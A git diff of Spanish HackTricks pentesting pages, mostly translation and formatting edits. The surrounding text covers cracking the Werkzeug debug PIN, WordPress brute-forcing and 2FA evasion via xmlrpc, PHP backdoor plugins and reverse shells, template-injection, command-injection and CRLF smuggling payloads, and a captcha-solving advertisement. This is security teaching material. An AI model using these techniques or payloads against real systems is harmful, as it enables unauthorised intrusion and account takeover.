+Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando que se requiere un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión.
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
@@ -34,13 +33,13 @@ Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `pr
- **`username`**: Se refiere al usuario que inició la sesión de Flask.
- **`modname`**: Generalmente designado como `flask.app`.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve en **Flask**.
-- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente `app.pyc`**.
+- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intenta `app.pyc`**.
#### **`private_bits`**
- **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
-- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net//address`**.
+- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtra `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extrae la dirección MAC** de **`/sys/class/net//address`**.
- La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación:
```python
@@ -150,11 +149,13 @@ Este script produce el PIN al hashear los bits concatenados, agregar sales espec
Como se observó en [**este problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug no cierra una solicitud con caracteres Unicode en los encabezados. Y como se explicó en [**este informe**](https://mizu.re/post/twisty-python), esto podría causar una vulnerabilidad de CL.0 Request Smuggling.
-Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode** y hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
+Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode** y hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud se tratará como la **siguiente solicitud HTTP**.
## Explotación Automatizada
-{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
+{{#ref}}
+https://github.com/Ruulian/wconsole_extractor
+{{#endref}}
## Referencias
@@ -163,5 +164,4 @@ Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode*
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 471b0b437..064694124 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins y Temas
-Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **forzar activamente una lista de Plugins y Temas** (esperemos que para nosotros haya herramientas automatizadas que contengan estas listas).
+Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **forzar activamente una lista de Plugins y Temas** (esperemos que haya herramientas automatizadas que contengan estas listas).
### Usuarios
@@ -168,11 +168,11 @@ Usando las credenciales correctas, puedes subir un archivo. En la respuesta, el
```
-También hay una **manera más rápida** de forzar credenciales usando **`system.multicall`** ya que puedes intentar varias credenciales en la misma solicitud:
+También hay una **manera más rápida** de realizar un ataque de fuerza bruta a las credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
-**Bypass 2FA**
+**Eludir 2FA**
Este método está destinado a programas y no a humanos, y es antiguo, por lo tanto, no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para iniciar sesión con esas credenciales eludiendo 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías llegar a RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
@@ -225,7 +225,9 @@ Esta es la respuesta cuando no funciona:
## SSRF
-{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
+{{#ref}}
+https://github.com/t0gu/quickpress/blob/master/core/requests.go
+{{#endref}}
Esta herramienta verifica si el **methodName: pingback.ping** y para la ruta **/wp-json/oembed/1.0/proxy** y si existe, intenta explotarlos.
@@ -267,11 +269,11 @@ para obtener una sesión.
### Plugin PHP
Puede ser posible subir archivos .php como un plugin.\
-Crea tu puerta trasera en php usando, por ejemplo:
+Crea tu puerta trasera php usando, por ejemplo:
.png>)
-Luego añade un nuevo plugin:
+Luego agrega un nuevo plugin:
.png>)
@@ -293,16 +295,16 @@ Accede a ella y verás la URL para ejecutar la shell inversa:
### Subiendo y activando un plugin malicioso
-Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una web shell. Este proceso se lleva a cabo a través del panel de control de WordPress de la siguiente manera:
+Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de control de WordPress de la siguiente manera:
1. **Adquisición del Plugin**: El plugin se obtiene de una fuente como Exploit DB como [**aquí**](https://www.exploit-db.com/exploits/36374).
2. **Instalación del Plugin**:
-- Navega al panel de control de WordPress, luego ve a `Panel > Plugins > Subir Plugin`.
+- Navega al panel de control de WordPress, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Sube el archivo zip del plugin descargado.
3. **Activación del Plugin**: Una vez que el plugin se instala correctamente, debe ser activado a través del panel de control.
4. **Explotación**:
- Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.
-- El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
+- El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión meterpreter, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress.
El contenido incluye ayudas visuales que representan los pasos en el panel de control de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
@@ -311,11 +313,11 @@ El contenido incluye ayudas visuales que representan los pasos en el panel de co
## De XSS a RCE
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Ejecución Remota de Código (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de Wordpress 6.X.X, 5.X.X y 4.X.X y permite:**
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Ejecución Remota de Código (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:**
- _**Escalación de Privilegios:**_ Crea un usuario en WordPress.
- _**(RCE) Subida de Plugin Personalizado (puerta trasera):**_ Sube tu plugin personalizado (puerta trasera) a WordPress.
-- _**(RCE) Edición de Plugin Incorporado:**_ Edita un Plugin Incorporado en WordPress.
-- _**(RCE) Edición de Tema Incorporado:**_ Edita un Tema Incorporado en WordPress.
+- _**(RCE) Edición de Plugin Incorporado:**_ Edita Plugins Incorporados en WordPress.
+- _**(RCE) Edición de Tema Incorporado:**_ Edita Temas Incorporados en WordPress.
- _**(Personalizado) Explotaciones Personalizadas:**_ Explotaciones Personalizadas para Plugins/Temas de Terceros de WordPress.
## Post Explotación
@@ -350,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
- **REST API**
-También es posible exponer funciones de WordPress registrando un REST AP utilizando la función `register_rest_route`:
+También es posible exponer funciones de WordPress registrando un rest AP utilizando la función `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@@ -366,7 +368,7 @@ El `permission_callback` es una función de retorno que verifica si un usuario d
- **Acceso directo al archivo php**
-Por supuesto, WordPress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Por lo tanto, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.
+Por supuesto, Wordpress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa solo accediendo al archivo, será explotable por cualquier usuario.
## Protección de WordPress
diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md
index 7d8968300..a991ecf79 100644
--- a/src/other-web-tricks.md
+++ b/src/other-web-tricks.md
@@ -2,7 +2,6 @@
{{#include ./banners/hacktricks-training.md}}
-
### Encabezado Host
Varias veces el back-end confía en el **encabezado Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se utiliza es el que pusiste en el encabezado Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
@@ -10,7 +9,6 @@ Varias veces el back-end confía en el **encabezado Host** para realizar algunas
> [!WARNING]
> Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario haga clic en el enlace de restablecimiento de contraseña para obtener el token, ya que tal vez incluso **los filtros de spam u otros dispositivos/bots intermedios harán clic en él para analizarlo**.
-
### Booleanos de sesión
A veces, cuando completas correctamente alguna verificación, el back-end **simplemente agregará un booleano con el valor "True" a un atributo de seguridad de tu sesión**. Luego, un endpoint diferente sabrá si pasaste esa verificación con éxito.\
@@ -26,13 +24,14 @@ Registra un correo electrónico, antes de confirmarlo cambia el correo, luego, s
### Acceso al servicio interno de atención al cliente de empresas usando Atlassian
-{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
+{{#ref}}
+https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
+{{#endref}}
### Método TRACE
-Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` replicando en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.
+Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` repitiendo en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.
-
{{#include ./banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md
index b18c8f68b..395b8daf7 100644
--- a/src/pentesting-web/captcha-bypass.md
+++ b/src/pentesting-web/captcha-bypass.md
@@ -11,7 +11,7 @@ Para **eludir** el captcha durante las **pruebas del servidor** y automatizar la
- **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro de captcha presente pero dejado vacío.
2. **Extracción y Reutilización de Valores**:
- **Inspección del Código Fuente**: Buscar el valor del captcha dentro del código fuente de la página.
-- **Análisis de Cookies**: Examinar las cookies para encontrar si el valor del captcha está almacenado y reutilizado.
+- **Análisis de Cookies**: Examinar las cookies para ver si el valor del captcha está almacenado y se reutiliza.
- **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tener en cuenta que pueden expirar en cualquier momento.
- **Manipulación de Sesiones**: Intentar usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión.
3. **Automatización y Reconocimiento**:
@@ -32,6 +32,8 @@ Para **eludir** el captcha durante las **pruebas del servidor** y automatizar la
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) es un servicio impulsado por IA que se especializa en resolver automáticamente varios tipos de captchas, empoderando la recolección de datos al ayudar a los desarrolladores a superar fácilmente los desafíos de captcha encontrados durante el Web Scraping. Soporta captchas como **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest y Cloudflare turnstile, entre otros**. Para los desarrolladores, Capsolver ofrece opciones de integración de API detalladas en [**documentación**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando la integración de la solución de captcha en aplicaciones. También proporcionan extensiones de navegador para [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) y [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), facilitando el uso de su servicio directamente dentro de un navegador. Diferentes paquetes de precios están disponibles para acomodar diversas necesidades, asegurando flexibilidad para los usuarios.
-{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
+{{#ref}}
+https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md
index 5492aa92c..282bff48e 100644
--- a/src/pentesting-web/client-side-template-injection-csti.md
+++ b/src/pentesting-web/client-side-template-injection-csti.md
@@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
-
## Resumen
Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima.
@@ -24,8 +23,7 @@ En escenarios donde la entrada del usuario se inserta dinámicamente en el cuerp
```
Puedes encontrar un **ejemplo básico en línea** de la vulnerabilidad en **AngularJS** en [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) y en [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
-> [!CAUTION]
-> [**Angular 1.6 eliminó el sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) así que a partir de esta versión, una carga útil como `{{constructor.constructor('alert(1)')()}}` o `` debería funcionar.
+> [!CAUTION] > [**Angular 1.6 eliminó el sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) así que a partir de esta versión, una carga útil como `{{constructor.constructor('alert(1)')()}}` o `` debería funcionar.
## VueJS
@@ -49,7 +47,7 @@ Créditos: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/re
```
{{constructor.constructor('alert(1)')()}}
```
-Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
+Créditos: [Mario Heiderich](https://twitter.com/cure53berlin)
**Consulta más cargas útiles de VUE en** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
@@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **Lista de Detección de Fuerza Bruta**
-{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
-
+{{#ref}}
+https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md
index 070790afc..b2a3d9517 100644
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@@ -2,14 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
-
## ¿Qué es la inyección de comandos?
-Una **inyección de comandos** permite la ejecución de comandos arbitrarios del sistema operativo por un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden ser completamente comprometidos. La ejecución de estos comandos generalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
+Una **inyección de comandos** permite la ejecución de comandos arbitrarios del sistema operativo por un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos generalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
### Contexto
-Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto citado** (usando `"` o `'`) antes de los comandos.
+Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos.
## Inyección/Ejecución de Comandos
```bash
@@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Bypasses de Limitación**
-Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
+Si estás tratando de ejecutar **comandos arbitrarios dentro de una máquina linux**, te interesará leer sobre estos **Bypasses:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
## Lista de Detección de Fuerza Bruta
-{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
+{{#ref}}
+https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
+{{#endref}}
## Referencias
diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md
index cbad4cf5c..628e1d7b1 100644
--- a/src/pentesting-web/crlf-0d-0a.md
+++ b/src/pentesting-web/crlf-0d-0a.md
@@ -1,9 +1,7 @@
-# CRLF (%0D%0A) Injection
+# Inyección CRLF (%0D%0A)
{{#include ../banners/hacktricks-training.md}}
-
-
### CRLF
El Carriage Return (CR) y el Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre los encabezados HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 a través de varios tipos de servidores web, como Apache y Microsoft IIS.
@@ -49,7 +47,7 @@ HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un a
#### Un ejemplo de HTTP Response Splitting que lleva a Redirección
-Desde [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
+De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
Navegador a:
```
@@ -72,15 +70,17 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
```
Revisa más ejemplos en:
-{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
+{{#ref}}
+https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
+{{#endref}}
### Inyección de Encabezados HTTP
-La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar a un acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.
+La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar al acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.
#### Explotación de CORS a través de la Inyección de Encabezados HTTP
-Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta brecha permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.
+Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta violación permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.
#### SSRF e Inyección de Solicitudes HTTP a través de CRLF
@@ -125,7 +125,7 @@ Después, se puede especificar una segunda solicitud. Este escenario típicament
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
-2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede activar el envenenamiento de la cola de respuestas. Un ejemplo es:
+2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
@@ -149,9 +149,9 @@ Además, los investigadores también descubrieron que podían desincronizar las
-### Cómo Prevenir Inyecciones CRLF / HTTP en Aplicaciones Web
+### Cómo Prevenir Inyecciones CRLF / HTTP Header en Aplicaciones Web
-Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o inyecciones de encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias:
+Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o HTTP Header en aplicaciones web, se recomiendan las siguientes estrategias:
1. **Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta:** El enfoque más seguro es abstenerse de incorporar la entrada proporcionada por el usuario directamente en los encabezados de respuesta.
2. **Codificar Caracteres Especiales:** Si evitar la entrada directa del usuario no es factible, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF.
@@ -197,6 +197,4 @@ Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o iny
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
-
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index e6a1bebaf..2f50d53df 100644
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -5,15 +5,15 @@
## Resumen
Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS**](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
-También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script.
+También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
-Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
+Varias técnicas comentadas aquí se pueden usar para eludir algunas [**Content Security Policy**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
## Aplicaciones Principales
### Robando secretos en texto claro
-Si inyectas `
```
-Luego, los formularios que envían datos a la ruta (como `
.png)
.png)
.png)
.png)
.png)